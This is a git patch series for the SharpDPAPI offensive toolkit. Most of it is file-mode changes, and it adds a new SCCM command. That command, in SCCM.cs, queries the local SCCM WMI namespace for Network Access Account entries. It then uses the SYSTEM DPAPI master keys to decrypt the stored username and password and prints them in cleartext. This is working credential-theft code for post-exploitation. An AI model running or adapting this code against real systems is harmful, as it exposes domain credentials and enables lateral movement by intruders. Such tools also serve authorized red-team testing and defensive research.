100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/table_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/table_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/update_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/update_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/util_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/util_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/where_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/where_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj old mode 100755 new mode 100644 diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Backupkey.cs b/SharpDPAPI/Commands/Backupkey.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/ICommand.cs b/SharpDPAPI/Commands/ICommand.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Machinecredentials.cs b/SharpDPAPI/Commands/Machinecredentials.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Machinemasterkeys.cs b/SharpDPAPI/Commands/Machinemasterkeys.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Machinetriage.cs b/SharpDPAPI/Commands/Machinetriage.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Machinevaults.cs b/SharpDPAPI/Commands/Machinevaults.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/SCCM.cs b/SharpDPAPI/Commands/SCCM.cs new file mode 100644 index 0000000..2fbf32f --- /dev/null +++ b/SharpDPAPI/Commands/SCCM.cs @@ -0,0 +1,257 @@ +using System; +using System.Text; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace SharpDPAPI.Commands +{ + public class SCCM : ICommand + { + public static string CommandName => "SCCM"; + + public static ManagementScope NewSccmConnection(string path) + { + ConnectionOptions connection = new ConnectionOptions(); + ManagementScope sccmConnection = new ManagementScope(path, connection); + try + { + Console.WriteLine($"[+] Connecting to {sccmConnection.Path}"); + sccmConnection.Connect(); + } + catch (System.UnauthorizedAccessException unauthorizedErr) + { + Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message); + } + catch (Exception e) + { + Console.WriteLine("[!] Error connecting to WMI: " + e.Message); + } + return sccmConnection; + } + + public static string[] GetKeyPropertyNames(ManagementScope sccmConnection, string className) + { + using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions())) + { + return managementClass.Properties + .Cast() + .Where( + property => property.Qualifiers + .Cast() + .Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase)) + ) + .Select(property => property.Name) + .ToArray(); + } + } + + + public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false) + { + try + { + string query = ""; + string propString = ""; + string whereClause = ""; + string orderByClause = ""; + + if (verbose || count || properties == null) + { + propString = "*"; + } + else + { + string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass); + properties = keyPropertyNames.Union(properties).ToArray(); + propString = string.Join(",", properties); + } + if (!string.IsNullOrEmpty(whereCondition)) + { + whereClause = $"WHERE {whereCondition}"; + } + if (!string.IsNullOrEmpty(orderByColumn)) + { + orderByClause = $"ORDER BY {orderByColumn}"; + } + if (count) + { + query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}"; + } + else + { + query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}"; + } + + if (dryRun) + { + Console.WriteLine($"[+] WQL query: {query}"); + } + else + { + Console.WriteLine($"[+] Executing WQL query: {query}"); + ObjectQuery objQuery = new ObjectQuery(query); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery); + Console.WriteLine("-----------------------------------"); + Console.WriteLine(wmiClass); + Console.WriteLine("-----------------------------------"); + foreach (ManagementObject queryObj in searcher.Get()) + { + // Get lazy properties unless we're just counting instances + if (!count) + { + queryObj.Get(); + } + foreach (PropertyData prop in queryObj.Properties) + { + // Print default properties if none specified, named properties if specified, or all properties if verbose + if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose) + { + if (prop.IsArray) + { + // Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things + if (prop.Value is String[]) + { + String[] nestedValues = (String[])(prop.Value); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}"); + } + else if (prop.Value is int[]) + { + int[] nestedValues = (int[])(prop.Value); + string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray(); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}"); + } + else + { + string canConvertToString = prop.Value as string; + if (canConvertToString != null) + { + Console.WriteLine($"{prop.Name}: {canConvertToString}"); + } + else + { + Console.WriteLine($"{prop.Name}: Can't display {prop.Type.ToString()} as a String"); + } + } + } + else + { + Console.WriteLine("{0}: {1}", prop.Name, prop.Value); + } + } + } + Console.WriteLine("-----------------------------------"); + } + } + } + catch (ManagementException err) + { + Console.WriteLine("An error occurred while querying for WMI data: " + err.Message); + } + } + + public static void NAADecrypt(string blob, Dictionary masterkeys) + { + byte[] blobBytes = new byte[blob.Length / 2]; + for (int i = 0; i < blob.Length; i += 2) + { + blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); + } + + var offset = 4; + byte[] unmangedArray = new byte[blob.Length / 2]; + Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset); + + blobBytes = unmangedArray; + + if (blobBytes.Length > 0) + { + byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob"); + + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + if (Helpers.IsUnicode(decBytesRaw)) + { + string data = ""; + int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) + { + byte[] decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + data = Encoding.Unicode.GetString(decBytes); + } + else + { + data = Encoding.ASCII.GetString(decBytesRaw); + } + Console.WriteLine(" dec(blob) : {0}", data); + } + else + { + string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); + Console.WriteLine(" dec(blob) : {0}", hexData); + } + } + } + } + + public static void LocalNetworkAccessAccountsWmi() + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig"); + GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount")); + ManagementObjectCollection accounts = searcher.Get(); + if (accounts.Count > 0) + { + foreach (ManagementObject account in accounts) + { + string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0]; + string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0]; + byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername); + int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16; + Array.Resize(ref protectedUsernameBytes, length); + + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + try + { + NAADecrypt(protectedUsername, mappings); + NAADecrypt(protectedPassword, mappings); + } + catch (Exception e) + { + Console.WriteLine("[!] Data was not decrypted. An error occurred."); + Console.WriteLine(e.ToString()); + } + } + } + else + { + Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount"); + } + } + + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: SCCM Triage"); + arguments.Remove("SCCM"); + + LocalNetworkAccessAccountsWmi(); + } + } +} \ No newline at end of file diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Domain/ArgumentParser.cs b/SharpDPAPI/Domain/ArgumentParser.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Domain/ArgumentParserResult.cs b/SharpDPAPI/Domain/ArgumentParserResult.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Domain/CommandCollection.cs b/SharpDPAPI/Domain/CommandCollection.cs old mode 100755 new mode 100644 index f8078e2..8f1bd41 --- a/SharpDPAPI/Domain/CommandCollection.cs +++ b/SharpDPAPI/Domain/CommandCollection.cs @@ -32,6 +32,7 @@ namespace SharpDPAPI.Domain _availableCommands.Add(Vaults.CommandName, () => new Vaults()); _availableCommands.Add(Certificate.CommandName, () => new Certificate()); _availableCommands.Add(Search.CommandName, () => new Search()); + _availableCommands.Add(SCCM.CommandName, () => new SCCM()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/Properties/AssemblyInfo.cs b/SharpDPAPI/Properties/AssemblyInfo.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj old mode 100755 new mode 100644 index fca2a67..05b1ba5 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -53,6 +53,7 @@ + @@ -71,6 +72,7 @@ + diff --git a/SharpDPAPI/app.config b/SharpDPAPI/app.config old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Backup.cs b/SharpDPAPI/lib/Backup.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/BigInteger.cs b/SharpDPAPI/lib/BigInteger.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Interop.cs b/SharpDPAPI/lib/Interop.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/LSADump.cs b/SharpDPAPI/lib/LSADump.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/PBKDF2.cs b/SharpDPAPI/lib/PBKDF2.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs old mode 100755 new mode 100644 diff --git a/SharpDPAPI/lib/Tuple.cs b/SharpDPAPI/lib/Tuple.cs old mode 100755 new mode 100644 From e836a83439f5733c9ebe78417391d46ae5bc47b7 Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Mon, 16 May 2022 23:49:13 -0600 Subject: [PATCH 2/5] Fixing --- LICENSE | 0 README.md | 0 SharpChrome/Commands/Backupkey.cs | 0 SharpChrome/Commands/Cookies.cs | 0 SharpChrome/Commands/ICommand.cs | 0 SharpChrome/Commands/Logins.cs | 0 SharpChrome/Domain/ArgumentParser.cs | 0 SharpChrome/Domain/ArgumentParserResult.cs | 0 SharpChrome/Domain/CommandCollection.cs | 0 SharpChrome/Domain/Info.cs | 0 SharpChrome/Program.cs | 0 SharpChrome/Properties/AssemblyInfo.cs | 0 SharpChrome/SQLite/SQLite.cs | 0 .../SQLite/csharp-sqlite-src/BtreeInt_h.cs | 0 .../SQLite/csharp-sqlite-src/Btree_h.cs | 0 .../SQLite/csharp-sqlite-src/Delegates.cs | 0 .../SQLite/csharp-sqlite-src/Hash_h.cs | 0 .../SQLite/csharp-sqlite-src/VdbeInt_h.cs | 0 .../SQLite/csharp-sqlite-src/Vdbe_h.cs | 0 .../SQLite/csharp-sqlite-src/_Custom.cs | 0 .../SQLite/csharp-sqlite-src/alter_c.cs | 0 .../SQLite/csharp-sqlite-src/analyze_c.cs | 0 .../SQLite/csharp-sqlite-src/attach_c.cs | 0 .../SQLite/csharp-sqlite-src/auth_c.cs | 0 .../SQLite/csharp-sqlite-src/backup_c.cs | 0 .../SQLite/csharp-sqlite-src/bitvec_c.cs | 0 .../SQLite/csharp-sqlite-src/btmutex_c.cs | 0 .../SQLite/csharp-sqlite-src/btree_c.cs | 0 .../SQLite/csharp-sqlite-src/build_c.cs | 0 .../SQLite/csharp-sqlite-src/callback_c.cs | 0 .../SQLite/csharp-sqlite-src/complete_c.cs | 0 .../SQLite/csharp-sqlite-src/crypto.cs | 0 .../SQLite/csharp-sqlite-src/ctime_c.cs | 0 .../SQLite/csharp-sqlite-src/date_c.cs | 0 .../SQLite/csharp-sqlite-src/delete_c.cs | 0 .../SQLite/csharp-sqlite-src/expr_c.cs | 0 .../SQLite/csharp-sqlite-src/fault_c.cs | 0 .../SQLite/csharp-sqlite-src/fkey_c.cs | 0 .../SQLite/csharp-sqlite-src/func_c.cs | 0 .../SQLite/csharp-sqlite-src/global_c.cs | 0 .../SQLite/csharp-sqlite-src/hash_c.cs | 0 .../SQLite/csharp-sqlite-src/hwtime_c.cs | 0 .../SQLite/csharp-sqlite-src/insert_c.cs | 0 .../SQLite/csharp-sqlite-src/journal_c.cs | 0 .../SQLite/csharp-sqlite-src/keywordhash_h.cs | 0 .../SQLite/csharp-sqlite-src/legacy_c.cs | 0 .../SQLite/csharp-sqlite-src/loadext_c.cs | 0 .../SQLite/csharp-sqlite-src/main_c.cs | 0 .../SQLite/csharp-sqlite-src/malloc_c.cs | 0 .../SQLite/csharp-sqlite-src/mem_Pool.cs | 0 .../SQLite/csharp-sqlite-src/memjournal_c.cs | 0 .../SQLite/csharp-sqlite-src/mutex_h.cs | 0 .../SQLite/csharp-sqlite-src/mutex_noop_c.cs | 0 .../SQLite/csharp-sqlite-src/notify_c.cs | 0 .../SQLite/csharp-sqlite-src/opcodes_c.cs | 0 .../SQLite/csharp-sqlite-src/opcodes_h.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/os_c.cs | 0 .../SQLite/csharp-sqlite-src/os_common_h.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/os_h.cs | 0 .../SQLite/csharp-sqlite-src/os_win_c.cs | 0 .../SQLite/csharp-sqlite-src/pager_c.cs | 0 .../SQLite/csharp-sqlite-src/pager_h.cs | 0 .../SQLite/csharp-sqlite-src/parse_c.cs | 0 .../SQLite/csharp-sqlite-src/parse_h.cs | 0 .../SQLite/csharp-sqlite-src/pcache1_c.cs | 0 .../SQLite/csharp-sqlite-src/pcache_c.cs | 0 .../SQLite/csharp-sqlite-src/pcache_h.cs | 0 .../SQLite/csharp-sqlite-src/pragma_c.cs | 0 .../SQLite/csharp-sqlite-src/prepare_c.cs | 0 .../SQLite/csharp-sqlite-src/printf_c.cs | 0 .../SQLite/csharp-sqlite-src/random_c.cs | 0 .../SQLite/csharp-sqlite-src/resolve_c.cs | 0 .../SQLite/csharp-sqlite-src/rowset_c.cs | 0 .../SQLite/csharp-sqlite-src/select_c.cs | 0 .../SQLite/csharp-sqlite-src/sqlite3_h.cs | 0 .../SQLite/csharp-sqlite-src/sqliteInt_h.cs | 0 .../SQLite/csharp-sqlite-src/sqliteLimit_h.cs | 0 .../SQLite/csharp-sqlite-src/status_c.cs | 0 .../SQLite/csharp-sqlite-src/table_c.cs | 0 .../SQLite/csharp-sqlite-src/tokenize_c.cs | 0 .../SQLite/csharp-sqlite-src/trigger_c.cs | 0 .../SQLite/csharp-sqlite-src/update_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs | 0 .../SQLite/csharp-sqlite-src/util_c.cs | 0 .../SQLite/csharp-sqlite-src/vacuum_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbe_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeapi_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeaux_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeblob_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbemem_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbetrace_c.cs | 0 .../SQLite/csharp-sqlite-src/vtab_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs | 0 .../SQLite/csharp-sqlite-src/walker_c.cs | 0 .../SQLite/csharp-sqlite-src/where_c.cs | 0 SharpChrome/SharpChrome.csproj | 0 SharpChrome/lib/Chrome.cs | 0 SharpDPAPI/Commands/Backupkey.cs | 0 SharpDPAPI/Commands/Blob.cs | 0 SharpDPAPI/Commands/Certificate.cs | 0 SharpDPAPI/Commands/Credentials.cs | 0 SharpDPAPI/Commands/ICommand.cs | 0 SharpDPAPI/Commands/Machinecredentials.cs | 0 SharpDPAPI/Commands/Machinemasterkeys.cs | 0 SharpDPAPI/Commands/Machinetriage.cs | 0 SharpDPAPI/Commands/Machinevaults.cs | 0 SharpDPAPI/Commands/Masterkeys.cs | 0 SharpDPAPI/Commands/PS.cs | 0 SharpDPAPI/Commands/RDG.cs | 0 SharpDPAPI/Commands/SCCM.cs | 512 +++++++++--------- SharpDPAPI/Commands/Triage.cs | 0 SharpDPAPI/Commands/Vaults.cs | 0 SharpDPAPI/Domain/ArgumentParser.cs | 0 SharpDPAPI/Domain/ArgumentParserResult.cs | 0 SharpDPAPI/Domain/CommandCollection.cs | 0 SharpDPAPI/Domain/Info.cs | 0 SharpDPAPI/Domain/Version.cs | 0 SharpDPAPI/Program.cs | 0 SharpDPAPI/Properties/AssemblyInfo.cs | 0 SharpDPAPI/SharpDPAPI.csproj | 0 SharpDPAPI/app.config | 0 SharpDPAPI/lib/Backup.cs | 0 SharpDPAPI/lib/BigInteger.cs | 0 SharpDPAPI/lib/Crypto.cs | 0 SharpDPAPI/lib/Dpapi.cs | 0 SharpDPAPI/lib/Helpers.cs | 0 SharpDPAPI/lib/Interop.cs | 0 SharpDPAPI/lib/LSADump.cs | 0 SharpDPAPI/lib/PBKDF2.cs | 0 SharpDPAPI/lib/Triage.cs | 0 SharpDPAPI/lib/Tuple.cs | 0 132 files changed, 256 insertions(+), 256 deletions(-) mode change 100644 => 100755 LICENSE mode change 100644 => 100755 README.md mode change 100644 => 100755 SharpChrome/Commands/Backupkey.cs mode change 100644 => 100755 SharpChrome/Commands/Cookies.cs mode change 100644 => 100755 SharpChrome/Commands/ICommand.cs mode change 100644 => 100755 SharpChrome/Commands/Logins.cs mode change 100644 => 100755 SharpChrome/Domain/ArgumentParser.cs mode change 100644 => 100755 SharpChrome/Domain/ArgumentParserResult.cs mode change 100644 => 100755 SharpChrome/Domain/CommandCollection.cs mode change 100644 => 100755 SharpChrome/Domain/Info.cs mode change 100644 => 100755 SharpChrome/Program.cs mode change 100644 => 100755 SharpChrome/Properties/AssemblyInfo.cs mode change 100644 => 100755 SharpChrome/SQLite/SQLite.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/build_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/crypto.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/date_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/func_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/global_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/main_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/os_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/os_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/random_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/select_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/status_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/table_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/update_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/util_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs mode change 100644 => 100755 